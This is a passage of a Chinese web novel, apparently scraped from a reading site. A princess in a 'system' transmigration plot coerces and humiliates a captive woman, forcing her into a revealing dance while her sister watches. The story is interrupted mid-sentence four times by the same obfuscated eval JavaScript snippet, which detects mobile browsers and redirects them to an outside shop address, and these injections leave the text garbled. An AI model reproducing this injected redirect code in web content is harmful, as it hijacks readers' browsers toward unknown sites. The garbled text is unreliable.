而随着江寻之的话音落下,她头顶的身份提示也跟着发生了变化。 原本的那两个问号在抽搐了两下之后,竟然变成了一个新的名字。 [大魏皇帝:江寻之(江寻芷)] 原来是这样。 江迎瓷有种恍然大悟的感觉。 怪不得江寻之的名字后面会有问号,原来这竟然代表着她还有隐藏身份。 原剧情里从来没提到这一点,估计是一直到结局的时候,江寻之的身份都没有暴露。 江寻之,不,应该叫她江寻芷了。 江寻芷眼睫带泪,“阿姐,是不是伪装的太久,连你也快忘记阿芷了?” 在世上的所有人眼里,她都是那个杀伐果决的江寻之,只有阿姐知道,她同时还是活泼的,脆弱的江寻芷。 可现在,似乎就连阿姐也不记得了。 她也要彻底抛弃江寻芷了吗? “阿姐,是不是你也觉得,阿芷太软弱无能,是不应该存在的?” 江迎瓷:…… 在知道江寻芷是女子之前,江迎瓷只觉得她的行为极为冒犯,可现在知道了对方也是女子后,江迎瓷好像也没那么排斥了,反倒是多了一丝说不清道不明的心软。 她对女子向来要有耐心一些。 更何况江寻芷年岁不大,为了登基被迫女扮男装,这些年想必也过得十分辛苦。 从她刚才说的话中,也能窥见一斑。 想到这里,江迎瓷换了语气,“我不是这个意思。” “你先松手。” 江寻芷盯着她看了几秒,慢吞吞地松开了手。 江迎瓷重新替她倒了杯茶,“喝了,醒醒酒。” 这回江寻芷没再拒绝,顺从地接过去喝了。 她不闹腾的时候还是挺乖的,江迎瓷有种自己在照顾不懂事的妹妹的错觉。 怪了,她竟觉得这种感觉十分熟悉,仿佛以前早就做惯了似的。 “阿芷。” 江迎瓷组织着措辞,她耐着性子哄道:“隔墙有耳,这种话要少说。” 幸好院子里没有旁人,周围又都是她的心腹在守着,否则这件事要是传了出去,必定会引起轩然大波。 江寻芷眼也不眨,“阿姐是在关心我吗?” 她连皇姐都不叫了。 江迎瓷不知道原剧情里的长公主同皇帝是如何相处的,可既然江寻芷对她的忠心值能有100,说明两人私底下定然颇为亲近。 江迎瓷:“你是我的亲人,我不关心你还能关心谁?” 江寻芷垂了垂眼,“阿姐关心的人可多了。” 没等江迎瓷琢磨清楚她这句话的含义,江寻芷就又继续说道:“那两个瘦马,很得阿姐的欢心?” 被妹妹点破自己的风流韵事,江迎瓷多少有点尴尬,她回忆着自己的人设,故作随意道:“解解闷罢了。” 江寻芷对这个答案并不满意,“她们心怀不轨。” “我替阿姐将她们处理了,可好?” 江寻芷说的处理,一定不只是把两人送走。 剧情都还没完全开展呢,主角攻受怎么能就这么死了? 江迎瓷下意识拒绝,“不必了。” 江寻芷脸上没有一丝笑容,她固执地看着江迎瓷,“为什么?” “阿姐心软了?” 江迎瓷再度皱起了眉头,哪怕是再亲近的妹妹,也不能这么管着姐姐吧? 她宠爱谁,难不成还得经过江寻芷的同意吗? “我有分寸。” 江迎瓷再度委婉拒绝了。 江寻芷深深望着江迎瓷,内心的嫉妒和怒火不断翻涌,但在江迎瓷浅淡的眸光下,她最终只是慢慢扬起了唇角。 “好吧,阿姐心中有数就好。” 迟早杀了那两个贱人。 …… 这一夜谢舒遥并没能睡好。 她最恨的大魏皇帝就在长公主府,说不定她站在扶风院外求见的时候,江寻之那时就在院中。 如此近的距离,可她却不能做什么,甚至不敢暴露一丝异样。 怀着这样复杂的心绪,谢舒遥一夜辗转反侧,第二日起来的时候,脸色都比平时要更憔悴些。 如意想来伺候她梳洗,谢舒遥却摆了摆手。 “你去打探一下,贵客走了吗?殿下可愿意见我?” “是。” 如意匆匆离开了。 而被谢舒遥惦记的江寻芷,此刻就歇在江迎瓷房间的软榻上。 昨夜的谈话点到为止,江迎瓷不愿意处置了那两个瘦马,江寻芷也不想因为两个无关紧要的人而同阿姐生了嫌隙。 既然阿姐还没玩腻,那就再等等吧。 只是不知为何,江寻芷的心中总有些不踏实。 明明江迎瓷也没对谢舒遥做些什么,可江寻芷就是觉得,这个人会成为她此生最大的威胁。 摇摇头,江寻芷将这种想法压了下去。 不过一个贱奴罢了,休想同她抢阿姐。 昨夜她本想跟江迎瓷同榻而眠的,但江迎瓷却说什么都不同意,江寻芷只能退而求其次,让人将软榻收拾了。 不能睡在一起没关系,能这样近距离看着阿姐,也不算亏。 江迎瓷似乎还在睡,江寻芷了无睡意。 她根本没有喝醉,那一抹醺然醉意不过是装出来的罢了。 她与阿姐许久没有这样亲近过了。 明明离得也不算远,可阿姐却非要依着规矩,只在每月十五的时候进宫同她小聚片刻。 前几日听说江迎瓷新得了两个瘦马的时候,江寻芷心头便有些着急,但没有合情合理的借口,她连召见江迎瓷都没办法,更遑论亲自出宫来见江迎瓷。 刺客一事恰好给了她理由。 江寻芷知道江迎瓷并未受伤,但她还是借着探伤的名义,迫不及待地来到了长公主府。 阿姐对她果然还是心软的。 江寻芷心底踏实了不少。 灯罩下的蜡烛幽幽燃烧着,将寝屋内照得昏黄模糊,江寻芷一动不敢动,听着耳边几近于无的呼吸声,唇角不自觉地扬了起来。 她跟阿姐才是最最要好的,其他任何人也别想越过了她去。 …… 江迎瓷在想谢舒遥。 “傍晚的时候,主角受好像来过了。” 江迎瓷又不聋,虽然江寻芷刻意压低了声音,但她还是隐约听到了一点儿。 “她应该知道我没有中毒。” 谢凌闲亲自来确认过了,她不可能不将结果告诉谢舒遥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135780|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢舒遥此举,估计是怕自己会因此对她有所冷落吧? “要不要找个理由哄哄……” 【宿主。】 032号听着听着觉得有点不对劲了,【你是在跟主角受谈恋爱吗?】 “什么?”江迎瓷愣住了。 【你跟主角受啊。】 032号解释道:【强取豪夺是什么意思,你应该不会不知道吧?】 江迎瓷陷入沉思。 032号见她不说话,想到这位宿主并没有原来的记忆,缺少一些常识也很正常,于是又耐着性子进一步解释。 【强取豪夺的精髓在于高位者对下位者的掠夺和侵占,所有的一切都只是为了满足高位者的欲望。】 【至于被强迫的人在想什么,开不开心。】 【那不重要。】 不重要吗。 江迎瓷听明白了032号的意思。 它是想说,谢舒遥的情绪,她高兴与否,是否会因此忐忑不安,对她来说都不重要。 【你不该,也不能有哄她的念头。】 那就不是强取豪夺,而是为爱低头了。 【咱们的任务范围不包括这个。】 江迎瓷盯着头顶的床帐,柔和烛光透过轻纱照进来,像月色一样温柔朦胧。 她还是太生疏了,一连几日的相处,让她对谢舒遥多了份独有的耐心。 她以为对谢舒遥动手动脚,就算是强取豪夺了。 原来还远不止这样吗? 就连谢舒遥的心情,她也不能在意,甚至,她还要刻意去打压谢舒遥,让谢舒遥惴惴不安。 【宿主。】 032号问道:【我刚才跟你说的话,你都能听明白吗?】 “嗯。” 江迎瓷点了点头,脸上的情绪在夜色里难以辨认。 “听明白了。” …… 江寻芷在长公主府用完了早膳。 江迎瓷平安无事,她也待了一夜,再没有别的理由可以留下来了,于是只能心不甘情不愿地启程回宫。 她这次出宫是秘密出行,知道的人不多,因此走的时候也很低调。 天下起了小雨,淅淅沥沥的,像飘洒的丝线,带着一层潮湿的雾气。 “阿姐,不必送了。” 江寻芷站在檐下,任由身旁随从将油纸伞撑在头顶。 “你身体还没好,不能吹冷风。” 小皇帝昨夜意外地很安分,没像喝酒时那样难缠,江迎瓷对她也没多少恶感。 “陛下也要照顾好自己。” 江寻芷点点头,目光扫过江迎瓷身后的茗月众人。 这些废物,就守在院内都还能让刺客溜进来,要不是阿姐心软,她定要将她们都扔进暗狱。 “阿姐不必挂念,我一切都好。” 想说什么,到底没能说出口。 在外人面前,江寻芷还得维持作为皇帝的威严。 她正要让江迎瓷进屋去,余光却冷不丁瞥见了什么。 江寻芷脸色一冷,视线瞬间扫射过去,眼神锐利凛冽,眸底带着森森的寒意。 在长廊下尽头处,一抹水蓝色身影悄然静立,她撑着伞,衣袂飘飘间,身影恍若被风吹散。 是不知已经等了多久的谢舒遥。 12. 长公主的双面替身情人(十二) 谢舒遥是奉命前来的。 如意去打探消息,伺候江迎瓷的小丫鬟告诉她,长公主命“阿瑶”即刻前往扶风院。 谢舒遥闻言重重松了口气,只要长公主还愿意见自己就好。 她特意精心打扮了一番,就连在院外等候时,也专门选了个最好的位置,只要长公主一出来,就能看见撑伞站在细雨中的她。 但她没想到,长公主的身边还会有旁人。 怪只怪谢舒遥下意识以为,江迎瓷既然愿意见她,说明那位贵客多半已经离开了。 可此刻,却有一个打扮奢华低调的少年站在江迎瓷身侧,与江迎瓷之间的气氛也格外亲昵。 周围人对他惶恐的态度,以及他那与江迎瓷有几分相似的眉眼,无一不在昭示着他的身份—— 大魏皇帝,江寻之。 谢舒遥瞬间抓紧了伞柄。 她最多不过盯着江寻之看了两息,那人便警惕地朝她的方向望了过来。 现在一切都还尚未开展,不便引起江寻之的注意,谢舒遥只能闪身躲藏。 她的心脏砰砰直跳,脑海里仍在回忆着刚才与江寻之对望的那一眼。 对方的眼神满是警告与居高临下。 谢舒遥忽地想起了一些往事。 临行前曾有大燕旧臣提醒她说,大魏皇帝智多近妖,虽年纪尚轻,却城府极深,是个极难对付的人物,让她务必小心仔细。 谢舒遥对江寻之也有些猜测,但都不及刚才的那一眼来得真实。 哪怕对方一句话都没说,谢舒遥却仍旧能感觉到,江寻之对她的厌恶和杀意。 想必他早就已经知晓自己与谢凌闲的存在了。 方才太匆忙,谢舒遥来不及观察江迎瓷的反应,这会儿勉强冷静下来之后,她才开始思索起江迎瓷的用意。 她明知道江寻之还没走,却特意将自己叫来…… “阿姐。” 江寻之眯了眯眼,“那人是谁?” 她其实已经认出来了,却明知故问。 江迎瓷随意瞥了一眼,她知道躲在墙后的是主角受,人就是她叫来的,江迎瓷比谁都要清楚。 她面色不变,“陛下看见了什么?” “没看清。”江寻芷眼底情绪晦暗。 江迎瓷的声音不大不小,正好足够暗处的谢舒遥听清楚。 “兴许是哪儿来的小猫小狗,不慎惊扰了陛下。” “算不上惊扰。”江寻芷闻言反倒露出了笑容,“野猫野狗而已,阿姐不必放在心上。” 她抬手想碰江迎瓷的手背,却被江迎瓷提前用掩唇咳嗽的动作给躲了过去。 看不出江迎瓷是否是故意的,加上她的面色确实不大好看,江寻芷只得放弃,“阿姐快进屋去吧,外面冷。” “陛下路上小心。” 江迎瓷说着,又睨了眼江寻芷身后的几名随从,“照顾好陛下,若是出了什么差池,当心你们的脑袋。” “是!” 阿姐在关心自己。 江寻芷笑得眉眼弯弯,“阿姐,那我走了。” 她恋恋不舍,却也不得不启程离开。 唇边的笑意在离开江迎瓷之后瞬间收敛,江寻芷最后看了眼谢舒遥藏身的位置,喉间几不可闻地泄出了一声轻讽冷笑。 既然阿姐只将她当做解闷的玩意,那就留她再多活几天好了。 目送江寻芷离开后,江迎瓷才稍微放松了一点儿。 江寻芷给她的感觉很奇怪,她似乎很关心自己的事情,尤其是身边伺候的人。 光是从昨晚到现在,江寻芷就已经有好几次表现出想对主角攻受下手的念头了。 难不成这就是反派与主角之间天生的感应和排斥吗? 江寻芷走了,谢舒遥暂时应该也安全了。 江迎瓷转身往屋里走去,边走边对身后的人道:“让她进来吧。” 谢舒遥终于得以再次见到长公主。 她的衣裳沾了雨雾,贴着身体显得腰肢更加细瘦,整个人好像被雨打湿的小白花,一进屋便微微红了眼眶。 江迎瓷撑着额头打量她,默不作声地看着谢舒遥走到自己面前单膝跪了下来。 “殿下。” 谢舒遥仰着脸,“阿瑶有错,请殿下责罚。” 苦肉计使得挺不错。 长公主本就喜欢谢舒遥的脸,看见她这副我见犹怜的模样,自然更加舍不得对她狠心了。 江迎瓷搭在腿上轻点的指尖顿住了,她在想谢舒遥刚才应该已经见过江寻芷了吧? 才刚跟最想报复的仇人打过照面,下一秒就能立马进入演戏状态。 谢舒遥的确很能忍。 江迎瓷回过神来,“那阿瑶说说,你有什么错?” 谢舒遥抿了抿唇,“阿瑶害得殿下身体不适,却无法做些什么为殿下分忧。” “是阿瑶无能。” 这话就说得有些过了,毕竟两人都心知肚明,江迎瓷身体不适跟谢舒遥并没有多大关系。 “你并非无能。” 江迎瓷换了个姿势,涂着大红蔻丹的手指捏住了谢舒遥的下巴,这个动作颇为轻佻,充满了审视和探究。 谢舒遥乖乖抬着脸,感受着江迎瓷的指腹蹭过了自己的唇瓣,很轻,像花瓣拂过一样。 她似乎又只打算逗自己一下,就抽身脱离了。 刚才的情绪还残留在胸腔里,皇帝的视线,江迎瓷此时的态度,还有她那句轻飘飘的“阿猫阿狗”。 莫名的冲动促使谢舒遥忽地偏过脑袋,在江迎瓷松手之前迎了上去。 “殿下。” 她唇瓣微启,眼神变得迷离了几分。 江迎瓷迅速抽回手,然而手腕内侧却还是留下了一道淡淡的绯红印记。 是谢舒遥唇上擦的口脂。 这回不需要032号说,江迎瓷也能看出来了。 谢舒遥在勾引她。 这对吗? 难道不应该是她想对谢舒遥做什么,然后谢舒遥看似迎合实则拒绝吗? 手腕上仿佛还留有那种触感,江迎瓷一时无言,总感觉自己像与谢舒遥角色对调了一样。 谢舒遥不肯放弃,见江迎瓷盯着自己,她又挤出了两滴眼泪。 “阿瑶要怎么做,殿下才能原谅阿瑶?” “你真想让本宫原谅你?”江迎瓷的眼底闪过了一丝复杂,快到谢舒遥压根没有察觉。 “是。” 谢舒遥紧了紧手指。 她必须尽快得到长公主的宠幸。 江迎瓷呼了口气,“本宫知道了。” 或许还是她的手段太温和了,所以谢舒遥才会倒反天罡,竟然几次三番主动来勾引她。 江迎瓷思索片刻,很快有了个新的主意。 是时候该让主角攻露面了。 …… 谢舒遥被人送回了飘絮馆。 她本以为又是一次无功而返,谁知晚些时候,茗月却亲自带着人来到了她的院中。 “殿下命我送些东西过来,还请姑娘今夜准备着,届时会有马车来接姑娘。” 谢舒遥心头一紧。 那些东西都用木箱装着,外表根本看不出来是什么,但茗月话里的意思,谢舒遥却听懂了。 江迎瓷是打算今夜让她侍寝吗? 说不出是抗拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135781|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是期待,或许还有一点儿终于来了的放松和认命,总之,谢舒遥的心情格外复杂。 这份复杂在她看清木箱里装着的东西之后,变成了震惊和耻辱。 这竟然是一些……! 谢舒遥尤自咬牙,而另一边,032号的心情却与她截然相反。 【恭喜宿主!】 032号放起了烟花。 【任务进度终于开始上涨了!】 要知道她们来了这么久,任务进度就只在最开始的时候动了一下,后面就像是死了一样,一直静悄悄的。 江迎瓷之前还怀疑过这东西是不是出问题了。 毕竟她自认对谢舒遥已经足够强迫。 没想到今天它却忽然上涨了。 就在她让茗月送了些东西过去之后。 所以之前真的是她做得太温柔,谢舒遥根本没觉得是在被强迫吗? 怪不得032号会说,她是不是在跟主角受谈恋爱。 江迎瓷这回算是摸清了强取豪夺的范围了。 她闭上眼眸,在心里给自己打气,静等着晚上的好戏上演。 戌时中,前来接谢舒遥的马车徐徐停在了飘絮馆外。 早已等候多时的谢舒遥抬脚跨上马车,银铃声伴随着她的动作交叠响起,周围人似有若无的视线也随之落在身上。 谢舒遥唇角紧绷,垂眸时的眼底浮现出了一片冷光和隐忍。 车轱辘碾过地面,那轰隆的声音像在暗示着什么。 江迎瓷此刻已经在观星台等着了。 这是一座二层小阁楼,位于长公主府后花园处,临水而建,四面有竹林环绕,环境清幽雅致。 阁中陈设简单,卧榻,古琴,几个书架和一张茶案,四面都开着窗,仅用轻纱遮挡视线,影影绰绰,格外具有诗意。 长公主从前也爱在此处赏景,可以避开前院喧嚣,却又因为檐下挂着的灯笼,而不至于显得太过幽静凄冷。 江迎瓷今夜特意选在此处,也是有考虑的。 她靠在软榻上,手里拿着本古籍,有一搭没一搭地翻看着,边品茶边等着谢舒遥。 不知过了多久,耳边忽然有叮铃的声音响起。 江迎瓷抬起眼眸,就见一人正踏着月色前来。 谢舒遥今夜的打扮与之前格外不同。 她穿着绯色舞衣,轻盈薄纱仅能遮住部分身体,细颈纤腰,还有一双雪白修长的腿,尽数暴露在了空气中。 这舞衣不仅紧身,上面还坠着不少银铃金饰,随着走动而拂过腰腿,发出清脆悦耳节奏分明的声响。 在月色下显得流光溢彩,奢靡异常。 谢舒遥走得不快,即便她已经尽力克制,但腰身还是随着步伐而被迫扭动起来,透明薄纱也随之飘动,充斥着说不出的风情。 这身衣服着实羞耻,谢舒遥做了好几遍心理准备,才勉强换上的。 然而最让她难以接受的还不是衣服,而是缠绕在颈上的一条金链。 它并不妨碍谢舒遥呼吸,却让谢舒遥无法忽视它的存在。 链条上的金色铃铛晃晃悠悠的,声音细碎而空灵。 江迎瓷还在好整以暇地看着她。 这一刻谢舒遥感觉自己好像不是一个人,而是变成了一只鸟雀。 一只被长公主拴住了脖颈,折断了翅膀和双腿,只能拖着残躯在鸟笼里努力起舞,来祈求主人片刻怜惜的雀。 【任务进度又上涨了!】 谢舒遥终于觉得耻辱愤恨了。 江迎瓷慢吞吞放下手里的书,喝了口茶压压惊。 不要急,今夜她还有别的安排。 这才到哪儿。 13.长公主的双面替身情人(十三) 谢舒遥一步步走向江迎瓷,她光着脚,走路时的声音很轻,身上只有铃铛碰撞的脆响声。 “殿下。” 这一声低唤少了几分往日的柔婉,连带着谢舒遥脸上的表情似乎也与往日有些不同。 她不知是羞耻还是冻的,又或许二者皆有之,乌眉下的眼眸红红的,像含了一层水光,露在外面的肌肤也隐约透着淡粉,尤其是赤.裸的足尖。 江迎瓷望着近在咫尺的美人。 谢舒遥虽然惯来以温柔示人,但换上这身装扮却也丝毫不显得突兀,反倒更增添了一分惊心动魄的艳丽之色。 “添酒。”江迎瓷声音很低。 谢舒遥咬紧牙关,她俯身拿起酒壶,身上的铃饰顿时又是一连串响,胸口也因为这个动作春光乍泄,雪白圆润清晰可见。 江迎瓷明显感觉到谢舒遥的身体僵硬了一瞬,她拿起手帕掩唇咳了咳,不着痕迹地移开了目光。 罪过罪过。 勉强倒完酒后,谢舒遥放下酒壶,转而双手捧起酒杯递给江迎瓷,“殿下请用。” 江迎瓷总觉得对方递来的不是酒,而是毒药,估计谢舒遥现在的确是恨不得立马毒死她了。 江迎瓷抬手接过酒杯,在谢舒遥松手的那一刹那,刻意暧昧地用指节蹭过对方的指尖,然后慢悠悠将杯沿放在唇边,一边直勾勾地盯着谢舒遥,一边将杯中酒一饮而尽了。 谢舒遥感觉浑身不自在。 前几次江迎瓷摸她脸时,谢舒遥能感觉到对方是无意与她做些什么的。 可这回江迎瓷的目光却很露骨,像要将她扒光一样。 这副色欲熏心的样子,哪还有之前的淡定从容? 她之前真是被江迎瓷给骗了。 还以为对方当真不喜玩乐,原来只是没到时候。 也对,江迎瓷要真是正经人,又怎么能想出这样的玩法? “你既然善琴,应当也会跳舞。” 毫不讲理的一句话,但长公主都这样说了,谢舒遥即便不会也得会。 四周起了风,竹林暗影婆娑,卷起轻纱幽幽飘动起来,略显清净的小阁楼内,谢舒遥开始翩然起舞。 她身姿轻盈,抬臂踮脚间虽然还有些别扭,却因为那张出众的脸和纤秾合度的身材,不仅不让人感觉出戏,反而更有生涩之意。 江迎瓷心知肚明,谢舒遥是不情愿的,甚至是厌恶排斥的,却又因为自己的强硬和逼迫,而不得不妥协。 那抹眼尾的红晕就像溢出的泪珠,羞耻而又隐忍。 这一刻江迎瓷感觉自己真的很像一个恶霸。 她慢吞吞地给自己倒着酒,边喝边欣赏谢舒遥的舞姿。 耳边银铃悠悠,谢舒遥的眉眼也在烛火里模糊昏黄起来。 看得江迎瓷都有点困了。 她忍住了打哈欠的念头,冲谢舒遥勾了勾手指,“过来些。” 江迎瓷没让停,谢舒遥就只能继续接着跳。 她挪动脚步朝江迎瓷靠近,香风伴随酒气袭来,清甜的果酒味弥漫在谢舒遥的鼻尖。 她这才看清江迎瓷的脸上也飘着一层绯红,对方微眯着眼眸,像是有些醉了。 那还跳吗? 谢舒遥正想着,垂在腰间的飘带就不知何时被人给拽住了。 江迎瓷把玩着手中的白纱,目光扫过谢舒遥微带薄汗的双颊,唇角微微勾了起来。 “阿瑶。” 低缓的嗓音里夹杂着一缕恶趣味。 谢舒遥颤了颤眼睫,“殿下……” 她正要求饶,江迎瓷却忽然侧过了眼眸。 “你看。” 什么? 谢舒遥不明所以。 她顺着江迎瓷的视线望过去,下一秒,原本特意伪装出来的欲说还休的表情顿时僵在了脸上。 在阁楼外的月色下,正有一人跪在空地处,她仰头望着阁楼的方向,不知道究竟看了多久。 是谢凌闲。 观星台不高,又四面无窗,持续燃烧的烛火足以让外面的人看清阁楼内部的样子。 也就是说,刚才她被强迫扭腰摆臀讨好江迎瓷的样子,全都被谢凌闲看了个一清二楚。 在江迎瓷面前这样做是一回事,被人看见又是另外一回事,而且那个看见的人还是她近来颇为不满的谢凌闲。 谢舒遥一瞬间掐紧了掌心,她回头观察江迎瓷的反应,对方似乎觉得很有意思,眼角甚至还带着点儿笑意。 她果然是个恶劣,冷漠的人。 谢舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138392|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遥又想起了江迎瓷说的“阿猫阿狗”,她在江迎瓷心里,大概真就是这样的吧。 被人抓着的飘带倏然收紧,谢舒遥很快反应过来,却又硬是强迫自己放松了身体,顺着江迎瓷拉拽的力道,倒在了江迎瓷的怀里。 小小的惊呼声回荡在耳边,谢舒遥就像是从枝头坠落的蝴蝶,被江迎瓷抓着翅膀拽进了自己怀里。 江迎瓷及时搂住了谢舒遥的腰肢,没让她真的摔太疼,温香软玉入怀的那一刻,饶是已经做好了心理准备,江迎瓷还是有一秒钟的停顿。 谢舒遥没有发现。 她一只手搭在自己心口处,另一只手则是虚虚攥住了江迎瓷的衣裳,抬起脑袋仓惶不安地望着江迎瓷,整个人脆弱又可怜。 “殿下……” 江迎瓷抚摸着谢舒遥的脸颊,还没等谢舒遥反应过来,她就又探手取过酒杯,径直抵在了谢舒遥唇边。 谢舒遥被迫张开唇瓣,果酒入喉,甜味伴随着凉意齐齐袭来。 江迎瓷喂得太快,谢舒遥吞咽不及时,一缕水渍顺着唇边流到了下巴,谢舒遥也跟着小声咳嗽起来。 她难受地蹙起了眉头,眼底水光朦胧,“殿下……” 瓷杯滚落在地上,残留的酒液染湿了地面,果香味更加馥郁浓烈。 谢舒遥被人掐住了下巴,腰上的手也越收越紧,江迎瓷的面容在谢舒遥眼前不断放大,她垂着长睫,仿佛随时都要吻下来。 喉间的痒意还没能得到缓解,谢舒遥用手抵着江迎瓷的肩膀,无力地半推半拒着,“殿下,求您了……” “你姐姐正看着呢。” 江迎瓷打断她。 她的眼神清明,比起谢舒遥的迷离和难堪,她只是衣衫稍乱而已。 她到底没有吻下来。 谢舒遥望进她淡漠的眼底,忍不住闭上了眼睛。 江迎瓷却掐着她的下巴,逼她转头看向楼下,姿态强硬而不容拒绝。 “你说,她此刻在想什么?” 怀里的人又开始动起来,江迎瓷轻易压制住了谢舒遥所有挣扎的力道,她用指腹揉了揉谢舒遥的唇瓣,语气带着戏谑和恶劣。 “你觉得,她是会认为你淫.乱不堪……” “还是想取你而代之?” 14.长公主的双面替身情人(十四) 谢舒遥不用猜也知道肯定是前者。 谢凌闲现在指不定怎么在心里嘲笑她。 她只会看好戏,又怎么可能有取而代之的想法? 谢舒遥咬了咬唇,内心的愤恨与难受不停翻涌着,前段时间江迎瓷那些虚假的温柔似乎在顷刻间破碎了,留给谢舒遥的只剩下强横和不近人情。 江迎瓷本来就是这样的一个人。 谢舒遥都快把自己的舌尖咬出血了,才终于冷静下来,她努力装出吃醋的样子,放软身体靠在江迎瓷身上。 “殿下也要让姐姐来伺候吗?” “你不愿意?” 江迎瓷没说是还是不是,而是把问题又抛回给了谢舒遥。 “殿下。”谢舒遥微低着眉眼,怕自己不小心泄露出了内心的真实情绪。 “姐姐同阿瑶相依为命,阿瑶知道自己不该吃姐姐的醋,可是……” “殿下在阿瑶心中也是特别的。” 江迎瓷不喜欢争风吃醋这一类事,所以谢舒遥必须把握好那个度,既要体现出她对江迎瓷的仰慕,又要展示她的顺从和听话。 殿下的命令她都记得,可她心里也会悄悄难过。 因为她心里有殿下。 谢舒遥的眼神含情脉脉,唇却轻咬着,将复杂的心绪表现得淋漓尽致。 这一幕有些眼熟,仿佛上次也发生过类似的对话。 不过这回谢舒遥的心中应该是真的难受,毕竟任务进度一直在涨。 江迎瓷假装没有听见谢舒遥后面说的那些话,她缓慢挪开了手,看着谢舒遥白净脸上残留的淡淡指痕,江迎瓷低声道: “这么说来,你是愿意的?” 谢舒遥:…… 此话问完,江迎瓷也不等谢舒遥说话,就又继续道:“森语。” 谢舒遥只觉得余光微微一晃,等她再度凝聚视线时,就见屋内不知何时多了一名女子。 那女子垂首跪着,安静而沉默。 谢舒遥的心脏重重跳了一瞬,这人就是长公主身边的暗卫吗? 她赶紧想要看清森语的脸,可森语却一直低着头,眉眼被暗影笼罩着,看得不甚清楚。 江迎瓷只当没有发现谢舒遥那一秒钟的停顿,她抬了抬下巴,“去将人带上来。” 森语点了点头,她闪身来到楼下空地,拎着谢凌闲的衣裳,直接将人提了起来。 谢凌闲绷紧了唇角。 方才在楼下时,她便被迫欣赏了谢舒遥是如何在长公主面前摆腰乞怜的,但那时尚有轻纱遮挡。 此刻距离被拉近,谢凌闲也终于能够看得更加清楚。 面前的两人都在看着她。 谢舒遥目光隐晦,像警告,又像是夹杂着几分恼怒和尴尬。 但谢凌闲其实根本没空去思考谢舒遥是怎么想的。 她所有的注意力都被江迎瓷给夺走了。 与在她面前的端庄冷淡不同,眼前的江迎瓷面颊微粉,眼底流淌着薄薄的醉意,姿态也很放松随意。 她单手搂着谢舒遥的腰肢,两人的脸挨得极近,唇瓣仿佛随时都能贴在一起。 这两人之间的气氛是如此暧昧亲密,任谁都能看出江迎瓷对谢舒遥的喜欢和纵容,可奇怪的是她的眼神却没落到谢舒遥身上,反倒是意味不明地同几步之外的谢凌闲对视着。 江迎瓷在谢舒遥面前,竟然是这样的么? 她为什么要看自己? 谢凌闲脑海里的念头一个接一个。 而江迎瓷还在等着任务进度继续突破新高。 她都用这么挑衅的眼神看着主角攻,还故意当着主角攻的面想要亲主角受了,主角攻此时应该很愤怒吧? 江迎瓷在期待她出手阻拦自己。 可谢凌闲却没有任何动作。 她默然不语地跪着,背脊挺直,连呼吸声都难以听见。 江迎瓷迟疑了,她又试探着靠得更近,直到薄唇离谢舒遥的唇瓣仅有一指的距离,两人呼吸相抵,交领拥吻的姿势格外缠绵。 依然无事发生。 谢凌闲的手明显已经握紧了,可她却仍跪得笔直,一动不动的。 竟然这么能忍吗。 江迎瓷感觉有点棘手了。 上次是剧情的力量出现让她痛晕了过去,所以才什么都没发生,可此时江迎瓷感觉自己状态良好,不像要晕的样子。 剧情不出手,谢凌闲也不出手,难不成她真要亲下去吗? 还是谢凌闲准备憋个大的? 江迎瓷仔细观察着谢凌闲的表情动作,企图从中寻找出一丝异样。 她的目光没能逃过两人的注意。 谢凌闲和谢舒遥神色各异。 谢凌闲是没想到江迎瓷竟然还在看着自己。 她怀里抱着谢舒遥,眼睛却盯着自己,到底是什么意思? 难不成,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144194|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的是想让自己跟谢舒遥一起伺候她? 谢凌闲顿了下。 也就是说,江迎瓷此刻对谢舒遥做的这些事情,之后她也会对自己做吗? 像抱着谢舒遥一样,也抱着她…… 谢凌闲的脑海里莫名有了画面,此时被江迎瓷搂着腰掐着脸的人好像也变成了她。 她的手指不禁捏得更紧了些。 谢凌闲感觉自己接受不了。 她做不到像谢舒遥那样能忍,也没法像谢舒遥那么装,如果江迎瓷真要这样对她…… 